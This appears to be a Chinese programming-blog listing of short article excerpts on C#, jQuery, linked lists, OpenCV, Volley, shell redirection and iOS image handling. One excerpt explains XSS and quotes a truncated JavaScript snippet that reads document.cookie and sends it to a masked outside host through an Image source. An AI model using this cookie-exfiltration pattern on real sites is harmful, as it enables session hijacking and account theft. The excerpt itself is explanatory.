我们通常这么写
using (SqlDataReader drm = sqlComm.ExecuteReader())
{
drm.Read();//以下把数据库中读出的Image流在图片框中显示出来.
MemoryStream ms = new Mem...
分类:
数据库 时间:
2014-05-22 12:06:10
阅读次数:
566
我们在对结果集使用find、filter等方法时,会改变结果集。
这种改变原先结果集的方法被称作destructive jQuery method
jQuery cookbook有如下定义:A destructive operation is any operation that changes the set of matched jQuery elements, which means a...
分类:
Web程序 时间:
2014-05-22 09:40:42
阅读次数:
382
【题目】
原文:
2.2 Implement an algorithm to find the nth to last element of a singly linked list.
译文:
实现一个算法从一个单链表中返回倒数第n个元素。
【分析】
【思路一】
(1)创建两个指针p1和p2,指向单链表的开始节点。
(2)使p2移动n-1个位置,使之指向从头...
分类:
其他好文 时间:
2014-05-22 09:03:53
阅读次数:
315
xss的概念就不用多说了,它的危害是极大的,这就意味着一旦你的网站出现xss漏洞,就可以执行任意的js代码,最可怕的是攻击者利用js获取cookie或者session劫持,如果这里面包含了大量敏感信息(身份信息,管理员信息)等,那完了。。。
如下js获取cookie信息:
url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src=’http://www.******.c...
分类:
其他好文 时间:
2014-05-22 08:24:14
阅读次数:
273
说明:该部分内容为《OpenCV Computer Vision with Python》读书笔记。1.读入文件与保存。import cv2
image=cv2.imread('a.jpg')
cv2.imwrite('b.jpg',image)
2.以灰度方式 读取进来(此时会丢失部分信息),然后将其保存。import cv2
grayImage = cv2.imread('a.jpg', cv...
分类:
编程语言 时间:
2014-05-22 07:44:15
阅读次数:
321
前面已经说过,Volley框架可以用来请求String,XML,Json,Image以及一些自定义的类型,这篇文章主要讲解使用Volley请求大量图片,并使用GridView展示出来,这个功能在很多应用中都会用到,如PPS等类型的播放器,淘宝等等。
像这类应用无非就是要解决一下问题:
1、避免OOM,在使用GridView等控件显示大量图片时,如果对缓存处理不当,是非常容易出现OOM的。...
分类:
其他好文 时间:
2014-05-22 07:30:22
阅读次数:
206
【题目】
Given a sorted array of integers, find the starting and ending position of a given target value.
Your algorithm's runtime complexity must be in the order of O(log n).
If the target is not found in the array, return [-1, -1].
For example,
Given [5...
分类:
其他好文 时间:
2014-05-22 06:44:39
阅读次数:
265
[dmtsai@www~]$find/home-name.bashrc>list2>&1<==正确
[dmtsai@www~]$find/home-name.bashrc&>list<==正确/dev/null垃圾桶黑洞装置与特殊写法1>:以覆盖的方法将『正确的数据』输出到指定的文件或装置上;1>>:以累加的方法将『正确的数据』..
分类:
系统相关 时间:
2014-05-20 21:01:11
阅读次数:
423
直接上代码了 头文件
// 图片处理 0 半灰色 1 灰度 2 深棕色 3 反色
+(UIImage*)imageWithImage:(UIImage*)image grayLevelType:(UIImageGrayLevelType)type;
//色值 变暗多少 0.0 - 1.0
+(UIImage*)imageWithImage:(UIImage*)image darkV...
分类:
移动开发 时间:
2014-05-20 17:18:30
阅读次数:
558
【题目】
Given a string containing just the characters '(' and ')', find the length of the longest valid (well-formed) parentheses substring.
For "(()", the longest valid parentheses substring is "()", which has length = 2.
Another example is ")()())", whe...
分类:
其他好文 时间:
2014-05-20 16:39:07
阅读次数:
280